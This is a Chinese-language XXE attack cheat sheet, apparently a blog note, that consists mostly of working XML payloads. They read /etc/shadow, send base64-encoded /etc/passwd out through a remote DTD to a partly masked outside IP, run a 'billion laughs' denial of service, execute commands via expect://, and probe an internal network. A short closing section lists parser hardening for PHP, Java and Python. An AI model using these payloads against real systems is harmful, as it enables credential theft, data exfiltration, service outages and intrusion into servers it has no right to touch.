有回显，读文件：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<root>
<name>&xxe;</name>
</root>

无回显，外带：

服务端
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.232.???.???/?p=%file;'>">

有些时候读不出来，需要编码。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.232.???.???/?p=%file;'>">
exp
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://139.9.???.???/exp/squirt1e.dtd">
%remote;%int;%send;
]>

DOS

<?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     ]>
     <lolz>&lol9;</lolz>

RCE

php需要安装expect拓展。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<root>
<name>&xxe;</name>
</root>

探测内网

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]>
<root>
<name>&xxe;</name>
</root>

防御手段

1.使用开发语言提供的禁用外部实体的方法

PHP：
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python：
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤和验证用户提交的XML数据

3.过滤关键词<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

4.不允许XML中含有任何自己声明的DTD

5.有效的措施：配置XML parser只能使用静态DTD，禁止外来引入

对于Java来说，直接设置相应的属性值为false即可

参考资料

1.https://www.cnblogs.com/icml8/p/16289190.html